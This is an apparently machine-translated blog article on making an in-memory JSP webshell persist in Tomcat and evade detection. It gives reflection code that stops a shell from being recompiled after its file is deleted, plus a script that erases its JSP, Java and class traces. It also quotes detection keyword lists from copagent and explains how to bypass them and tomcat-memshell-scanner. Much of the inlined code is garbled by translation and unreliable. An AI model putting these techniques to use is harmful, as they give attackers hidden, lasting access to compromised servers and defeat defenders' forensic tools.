preface

Recently, I have been studying the problem of webshell no-kill. When I came to the no-kill part of memory, I found that there are many traditional Filter or Servlet detection methods, which is not easy to achieve no-kill. For example, some tools will take out all registered servlets and filters, and inspectors will still be found out if they are more careful. So we need to find some other way to implement memory horse. For example, I mentioned JSP memory horses today (although they are also essentially servlet-type horses).

【 Learning materials 】

JSP loading process analysis

In Tomcat JSP and JSPX will be handed over to JspServlet processing, so to achieve JSP memory resident, we must first analyze the processing logic of JspServlet.

<servlet>
        <servlet-name>jsp</servlet-name>
        <servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class>
    ...
    </servlet>
...
<servlet-mapping>
        <servlet-name>jsp</servlet-name>
        <url-pattern>*.jsp</url-pattern>
        <url-pattern>*.jspx</url-pattern>
    </servlet-mapping>
Copy the code

The JspServlet#service method receives the requested URL and determines whether it is precompiled. The core method is serviceJspFile.

public void service (HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { String jspUri = jspFile; jspUri = (String) request.getAttribute( RequestDispatcher.INCLUDE_SERVLET_PATH); if (jspUri ! String pathInfo = (String) request.getAttribute() {// Check if the request is forwarded by another Servlet RequestDispatcher.INCLUDE_PATH_INFO); if (pathInfo ! = null) { jspUri += pathInfo; }} else {// getServletPath and pathInfo as jspUri jspUri = request.getservletpath (); String pathInfo = request.getPathInfo(); if (pathInfo ! = null) { jspUri += pathInfo; }}} try {// Whether to precompile Boolean precompile = precompile (request); // Core method serviceJspFile(request, response, jspUri, precompile); } catch (RuntimeException | IOException | ServletException e) { throw e; } catch (Throwable e) { ExceptionUtils.handleThrowable(e); throw new ServletException(e); }}Copy the code

PreCompile is only precompiled if the request parameter starts with jSP_precompile, otherwise it is not precompiled.

boolean preCompile(HttpServletRequest request) throws ServletException { String queryString = request.getQueryString(); if (queryString == null) { return false; } // public static final String PRECOMPILE = System.getProperty("org.apache.jasper.Constants.PRECOMPILE", "jsp_precompile"); int start = queryString.indexOf(Constants.PRECOMPILE); if (start < 0) { return false; } queryString = queryString.substring(start + Constants.PRECOMPILE.length()); if (queryString.length() == 0) { return true; / /? jsp_precompile } if (queryString.startsWith("&")) { return true; / /? jsp_precompile&foo=bar... } if (! queryString.startsWith("=")) { return false; // part of some other name or value } ... }Copy the code

So what does precompilation do? What happens when you precompile? The answer is in JspServletWrapper#service. When precompiled, the request is not processed by calling the service method of the corresponding JSP servlet, so for our JSP to work properly, it is not precompiled, nor is it precompiled by default.

public void service(HttpServletRequest request, HttpServletResponse response, boolean precompile) throws ServletException, IOException, FileNotFoundException { Servlet servlet; . // If a page is to be precompiled only, return. if (precompile) { return; . /* * (4) Service request */ if (servlet instanceof SingleThreadModel) { // sync on the wrapper so that the freshness // of the page is determined right before servicing synchronized (this) { ``.service(request, response); } } else { servlet.service(request, response); }...Copy the code

Now look at the serviceJspFile method, which determines if the JSP is already registered as a Servlet, creates JspServletWrapper, and puts it into JspRuntimeContext. JspServletWrapper. Service is the core method.

private void serviceJspFile(HttpServletRequest request, HttpServletResponse response, String jspUri, Boolean precompile) throws ServletException, IOException {// First check if the JSP has been registered as a Servlet. ServletWrapper is a wrapper class for the Servlet. All registered JSP servlets are stored in the JSPS property of JspRuntimeContext, and if we first request the JSP, of course we won't find the Wrapper. JspServletWrapper wrapper = rctxt.getWrapper(jspUri); if (wrapper == null) { synchronized(this) { wrapper = rctxt.getWrapper(jspUri); If (null == context.getResource(jspUri)) {handleMissingResource(request, response, jspUri); return; } // Create JspServletWrapper wrapper = new JspServletWrapper(config, options, jspUri, RCTXT); // Add a wrapper to the JSPS property of JspRuntimeContext rctxt.addWrapper(jspUri,wrapper); }}} try {// core method wrapper.service(request, response, precompile); } catch (FileNotFoundException fnfe) { handleMissingResource(request, response, jspUri); }}Copy the code

JspServletWrapper. The service mainly to do the following.

  • Generate Java files from JSP and compile to class

  • Register the class file as a servlet

  • Call the servlet.service method to complete the call

JSP generation of Java and class files is mainly done by the following code, where options.getDevelopment() represents the deployment pattern.

The development mode and production mode of Tomcat are configured using the web. XML file under the conf folder.

In development mode, the container will often check the JSP file’s timestamp to determine whether to compile. If the JSP file’s timestamp is later than the corresponding. Class file’s timestamp, it indicates that the JSP has been modified and needs to be compiled again. In production mode, the system doesn’t often think about checking timestamps. So commonly used in the development process development mode, so that can be modified in the JSP to access again after can see the modified effect is very convenient, and the system logging into a production mode, while the production mode will lead to the JSP changes need to restart the server can only take effect, but after the launch of change and performance is less important.

Tomcat runs in development mode by default. Tomcat is usually run in development mode, so it will be compiled by JspCompilationContext#compile.

if (options.getDevelopment() || mustCompile) {
                synchronized (this) {
                    if (options.getDevelopment() || mustCompile) {
                        ctxt.compile();
                        mustCompile = false;
                    }
                }
            } else {
                if (compileException != null) {
                    // Throw cached compilation exception
                    throw compileException;
                }
            }
Copy the code

Tomcat uses the JDTCompiler by default. First, isOutDated is used to check whether the compiler is needed. Then, isOutDated is used to check whether the JSP file exists and delete the original Java and Class files. Compile from jspcompiler.compile ().

Public void compile() throws JasperException, FileNotFoundException {// Get the compiler. The default compiler is JDTCompiler createCompiler(); IsOutDated (jspCompiler.isoutdated ()) {if (isRemoved()) {throw new FileNotFoundException(jspUri); } try {/ / delete has generated Java and Class file jspCompiler removeGeneratedFiles (); jspLoader = null; / / compile jspCompiler.com running (); jsw.setReload(true); jsw.setCompilationException(null); . }Copy the code

Let’s examine how to register the generated class file as a Servlet. First of all determine whether theServlet is empty, if is empty it means have yet to create a Servlet for JSP file, by InstanceManager. NewInstance create servlets, and will create a Servlet stored in theServlet attributes.

Public Servlet getServlet() throws ServletException {// getReloadInternal whether to be Reload The default value is False, that is, theServlet is returned if theServlet is true. if (getReloadInternal() || theServlet == null) { synchronized (this) { if (getReloadInternal() || theServlet == null) { // If theServlet has a value, destroy the servlet.destroy (); final Servlet servlet; Try {/ / create the Servlet instance InstanceManager InstanceManager = InstanceManagerFactory. GetInstanceManager (config); servlet = (Servlet) instanceManager.newInstance(ctxt.getFQCN(), ctxt.getJspLoader()); } catch (Exception e) { Throwable t = ExceptionUtils .unwrapInvocationTargetException(e); ExceptionUtils.handleThrowable(t); throw new JasperException(t); } // Initialize servlet servlet.init(config); if (theServlet ! = null) { ctxt.getRuntimeContext().incrementJspReloadCount(); } // save theServlet to theServlet, which is volatile and can be shared between threads. theServlet = servlet; reload = false; } } } return theServlet; }Copy the code

TheServlet is volatile, shared between different threads, and synchronized (this). This means that no matter how many times we request this, whichever thread processes it, as long as this is a value, The value of theServlet property is the same, and this is the current jspServletWrapper, and our access to different JSPS is handled by different JspServletwrappers.

The last step is to call the servlet.service method to complete the request processing.

Memory resident analysis

Having analyzed the JSP processing logic above, we need to solve the following problems in order to accomplish memory resident.

  • The JSP file is not checked for existence after the request
  • TheServlet keeps our servlet alive and can be handed over to our servlet when we request a url

The second question is easier, can theServlet get theServlet or which Servlet it gets is related to jspServletWrapper, whereas in JspServlet#serviceJspFile, if we have already registered theServlet, The corresponding jspServletWrapper can be obtained from the JspRuntimeContext url.

private void serviceJspFile(HttpServletRequest request, HttpServletResponse response, String jspUri, boolean precompile) throws ServletException, IOException { JspServletWrapper wrapper = rctxt.getWrapper(jspUri); if (wrapper == null) { ... } try { wrapper.service(request, response, precompile); } catch (FileNotFoundException fnfe) { handleMissingResource(request, response, jspUri); }}Copy the code

Bypass method 1

First OF all, I want to bypass the following judgment if we can let

Options.getdevelopment () returns false and does not enter the complie section.

if (options.getDevelopment() || mustCompile) { synchronized (this) { if (options.getDevelopment() || mustCompile) { // The following sets reload to true, if necessary ctxt.compile(); mustCompile = false; }}}Copy the code

Development is not a static property, so you can’t change it directly. You need to get the options object.

private boolean development = true;
Copy the code

Options objects are stored in JspServlet,

public class JspServlet extends HttpServlet implements PeriodicEventListener {
...
    private transient Options options;
Copy the code

The Wrapper field of MappingData contains the wrapper that handles the request. In Tomcat, the wrapper represents a Servlet that manages a Servlet. Includes Servlet loading, initialization, execution, and resource reclamation. The Instance of the servlet is stored in the Wrapper instance property, so we can get the JspServlet from MappingData and change the development property value of options.

public class MappingData {
    public Host host = null;
    public Context context = null;
    public int contextSlashCount = 0;
    public Context[] contexts = null;
    public Wrapper wrapper = null;
    public boolean jspWildCard = false;
}
Copy the code

So we can modify the properties of development by reflection, as shown in the following code in the Tomcat Container Attack and Defense Notes JSP

Field requestF = request.getClass().getDeclaredField("request"); requestF.setAccessible(true); Request req = (Request) requestF.get(request); MappingData = req.getMAppingData (); WrapperF = mappingData.getClass().getDeclaredField(" Wrapper "); wrapperF.setAccessible(true); Wrapper wrapper = (Wrapper) wrapperF.get(mappingData); // Get the jspServlet object Field instanceF = wrapper.getClass().getDeclaredField("instance"); instanceF.setAccessible(true); Servlet jspServlet = (Servlet) instanceF.get(wrapper); // Get the object saved in options Field Option = jspservlet.getClass ().getDeclaredField("options"); Option.setAccessible(true); EmbeddedServletOptions op = (EmbeddedServletOptions) Option.get(jspServlet); Developent = op.getClass().getDeclaredField("development"); Developent.setAccessible(true); Developent.set(op,false); % >Copy the code

Now that we have analyzed this, let’s test that the second time we request our script development property value has been changed to false, even if we delete the corresponding JSP \ Java \Class file, we can still request the shell normally.

So after the modification will not lead to JSP files uploaded later can not execute the problem?

No, because for every JSP file, the mustCompile attribute is False only after it has been compiled and registered as a Servlet. The default value is True, and mustCompile is also volatile and in a synchronized block of code. Only changes to mustCompile from the same jspServletWrapper will be valid on the next request. This is not to say that there is no impact at all; if we want to modify a JSP file that is already loaded as a Servlet, it will not take effect.

if (options.getDevelopment() || mustCompile) { synchronized (this) { if (options.getDevelopment() || mustCompile) { ctxt.compile(); mustCompile = false; }}Copy the code

Bypass Method 2

The next point we have a chance to get around is in compile, and if we can make isOutDated return false, we can get around that as well.

public void compile() throws JasperException, FileNotFoundException { createCompiler(); if (jspCompiler.isOutDated()) { ... }}Copy the code

Notice the code below: in isOutDated, false is returned when the following criteria are met. JSW holds the jspServletWarpper object, so it is not null, and modificationTestInterval defaults to 4. So what we need to do now is make modificationTestInterval*1000 greater than System.CurrentTimemillis (), so just make **modificationTestInterval** Changing to a larger value can also be used to bypass this.

public boolean isOutDated(boolean checkClass) {
        if (jsw != null
                && (ctxt.getOptions().getModificationTestInterval() > 0)) {
            if (jsw.getLastModificationTest()
                    + (ctxt.getOptions().getModificationTestInterval() * 1000) > System.currentTimeMillis()) {
                return false;
            }
        }
Copy the code

ModificationTestInterval is also saved in the Options property, so the modified method is similar to method 1 without listing the code.

public final class EmbeddedServletOptions implements Options { ... private int modificationTestInterval = 4; . }Copy the code

Investigation and killing analysis

tomcat-memshell-scanner

This tool will Dump all servlets stored in servletMappings, but our JSPServlet is not stored in servletMappings, it is stored in the JspRuntimeContext# JSPS field, so it is not available.

copagent

JSPS are essentially servlets, and the compiled Class inherits HttpJspBase, as shown in the Class diagram below.

Copagent process analysis

Copagent first gets all the loaded classes and creates several arrays.

  • riskSuperClassesNameStored in theHttpServletTo get servlets, because our registered servlets inherit directly or indirectlyHttpServlet
  • riskPackageSaved some malicious package names, such as the ice Scorpion package namenet.rebeyondWhen you connect to webshell using ice Scorpion, you load your own malicious class into memorynet.rebeyondFor the package name
  • riskAnnotationsSaves the type of Controller registered with annotations in SpringMVC, obviously to catch all controllers registered with annotations in SpringMVC
private static synchronized void catchThief(String name, Instrumentation ins){ ... List<Class<? >> resultClasses = new ArrayList<Class<? > > (); // Get all loaded classes and their names Class<? >[] loadedClasses = ins.getAllLoadedClasses(); LogUtils.logit("Found All Loaded Classes : " + loadedClasses.length); List<String> loadedClassesNames = new ArrayList<String>(); for(Class<? > cls: loadedClasses){ loadedClassesNames.add(cls.getName()); }... List<String> riskSuperClassesName = new ArrayList<String>(); riskSuperClassesName.add("javax.servlet.http.HttpServlet"); // List<String> riskPackage = new ArrayList<String>(); riskPackage.add("net.rebeyond."); riskPackage.add("com.metasploit."); List<String> riskAnnotations = new ArrayList<String>(); riskAnnotations.add("org.springframework.stereotype.Controller"); riskAnnotations.add("org.springframework.web.bind.annotation.RestController"); riskAnnotations.add("org.springframework.web.bind.annotation.RequestMapping"); riskAnnotations.add("org.springframework.web.bind.annotation.GetMapping"); riskAnnotations.add("org.springframework.web.bind.annotation.PostMapping"); riskAnnotations.add("org.springframework.web.bind.annotation.PatchMapping"); riskAnnotations.add("org.springframework.web.bind.annotation.PutMapping"); riskAnnotations.add("org.springframework.web.bind.annotation.Mapping"); .Copy the code

The following code does the main detection logic, first detecting classes with package names and SpringMVC annotations, adding them to resultClasses, and changing the not_FOUND flag bit to False to indicate that shells of type Servelt/Filter/Listener are not detected.

for(Class<? > clazz: loadedClasses){ Class<? > target = clazz; boolean not_found = true; If so, set not_found to false, indicating that the shell has already connected to the package. Skip the following Servlet and Filter memory horse detection and Dump the malicious class information. for(String packageName: riskPackage){ if(clazz.getName().startsWith(packageName)){ resultClasses.add(clazz); not_found = false; ClassUtils.dumpClass(ins, clazz.getName(), false, Integer.toHexString(target.getClassLoader().hashCode())); break; }} // Decide whether to register the Controller with SpringMVC's annotations, If is the Dump the information using annotations Controller classes if (ClassUtils. IsUseAnnotations (clazz, riskAnnotations)) {resultClasses. Add (clazz); not_found = false; ClassUtils.dumpClass(ins, clazz.getName(), false, Integer.toHexString(target.getClassLoader().hashCode())); } // Detect Servelt/Filter/Listener type Webshell if(not_found){// Recursively find while (target! = null && ! Target.getname ().equals(" java.lang.object ")){// Retrieve all interfaces implemented by the target class each time = new ArrayList<String>(); for(Class<? > cls: target.getInterfaces()){ interfaces.add(cls.getName()); } if(// inherits the target class of the dangerous parent (target.getSuperclass()! = null && riskSuperClassesName. The contains (target getSuperclass (). The getName ())) | | / / realize the goal of the special interface classes target.getName().equals("org.springframework.web.servlet.handler.AbstractHandlerMapping") || interfaces.contains("javax.servlet.Filter") || interfaces.contains("javax.servlet.Servlet") || interfaces.contains("javax.servlet.ServletRequestListener") ) { ... if(loadedClassesNames.contains(clazz.getName())){ resultClasses.add(clazz); ClassUtils.dumpClass(ins, clazz.getName(), false, Integer.toHexString(clazz.getClassLoader().hashCode())); }else{ ... } break; } target = target.getSuperclass(); }}Copy the code

If the parent of the Class is not empty and the parent is not HttpServlet, And interfaces such as Serlvet Filter ServletRequestListener that are not implemented will not be added to resultClasses but will recursively check the parent class. Since the JSP file actually inherits HttpJspBase, which is equivalent to indirectly inheriting HttpServlet, there is no way to bypass this check, but it doesn’t matter, this step only checks whether it is a Servlet, not detected.

while (target ! = null && ! Target.getname ().equals(" java.lang.object ")){// Retrieve all interfaces implemented by the target class each time = new ArrayList<String>(); for(Class<? > cls: target.getInterfaces()){ interfaces.add(cls.getName()); } if(// inherits the target class of the dangerous parent (target.getSuperclass()! = null && riskSuperClassesName. The contains (target getSuperclass (). The getName ())) | | / / realize the goal of the special interface classes target.getName().equals("org.springframework.web.servlet.handler.AbstractHandlerMapping") ||interfaces.contains("javax.servlet.Filter") ||interfaces.contains("javax.servlet.Servlet") ||interfaces.contains("javax.servlet.ServletRequestListener") ) { if(loadedClassesNames.contains(clazz.getName())){ resultClasses.add(clazz); ClassUtils.dumpClass(ins, clazz.getName(), false, Integer.toHexString(clazz.getClassLoader().hashCode())); }else{ LogUtils.logit("cannot find " + clazz.getName() + " classes in instrumentation"); } break; . } target = target.getSuperclass(); }Copy the code

The following is the core of malicious content. The keyword will only be marked high if the key is included in resultClasses. This can be bypassed if we use custom horses, but if we use ice Scorpions, it will be javax.crypto. Rules for encrypting packets are detected and can be bypassed if the encryption algorithm is custom.

List<String> riskKeyword = new ArrayList<String>(); riskKeyword.add("javax.crypto."); riskKeyword.add("ProcessBuilder"); riskKeyword.add("getRuntime"); riskKeyword.add("shell"); . for(Class<? > clazz: resultClasses){ File dumpPath = PathUtils.getStorePath(clazz, false); String level = "normal"; String content = PathUtils.getFileContent(dumpPath); for(String keyword: riskKeyword){ if(content.contains(keyword)){ level = "high"; break; }}Copy the code

Since the delete

JspCompilationContext = JspCompilationContext = JspCompilationContext = JspCompilationContext = JspCompilationContext = JspCompilationContext We can get the absolute path to Java /class.

The JspCompilationContext object is stored in JspServletWrapper, so get JspServletWrapper first.

public JspServletWrapper(ServletConfig config, Options options,
            String jspUri, JspRuntimeContext rctxt) {
        ...
        ctxt = new JspCompilationContext(jspUri, options,
                                         config.getServletContext(),
                                         this, rctxt);
    }
Copy the code

request.request.getMappingData().wrapper.instance.rctxt.jsps.get("/jsp.jsp")

Here is the code implementation

Field requestF = request.getClass().getDeclaredField("request"); requestF.setAccessible(true); Request req = (Request) requestF.get(request); MappingData = req.getMAppingData (); // Get the Wrapper, where the Wrapper is StandrardWrapper Field wrapperF = mappingData.getClass().getDeclaredField(" Wrapper "); wrapperF.setAccessible(true); Wrapper wrapper = (Wrapper) wrapperF.get(mappingData); // Get the jspServlet object Field instanceF = wrapper.getClass().getDeclaredField("instance"); instanceF.setAccessible(true); Servlet jspServlet = (Servlet) instanceF.get(wrapper); Field RCTXT = jspservlet.getClass ().getDeclaredField(" RCTXT "); rctxt.setAccessible(true); JspRuntimeContext jspRuntimeContext = (JspRuntimeContext) rctxt.get(jspServlet); / / for JSPS attribute content Field jspsF = jspRuntimeContext. GetClass () getDeclaredField (" JSPS "); jspsF.setAccessible(true); ConcurrentHashMap jsps = (ConcurrentHashMap) jspsF.get(jspRuntimeContext); JspServletWrapper JSW = (JspServletWrapper)jsps.get(request.getServletPath()); Field CTXT = jsw.getClass().getDeclaredField(" CTXT "); ctxt.setAccessible(true); JspCompilationContext jspCompContext = (JspCompilationContext) ctxt.get(jsw); File targetFile; targetFile = new File(jspCompContext.getClassFileName()); Class targetfile.delete (); targetFile = new File(jspCompContext.getServletJavaFileName()); // Delete the Java file targetfile.delete (); String __jspName = this.getClass().getSimplename ().replaceAll("_", "."); String path=application.getRealPath(__jspName); File file = new File(path); file.delete(); % >Copy the code

Finally, there was a minor incompatible BUG, the MappingData class package name of Tomcat7 and 8/9 changed

tomcat7:<%@ page import="org.apache.tomcat.util.http.mapper.MappingData" %>
tomcat8/9:<%@ page import="org.apache.catalina.mapper.MappingData" %>
Copy the code

reference

conclusion

Although we cannot use Webshell such as Ice Scorpion to bypass the detection of these two tools, but when we understand the principle of killing, we can also bypass it by changing our own Webshell slightly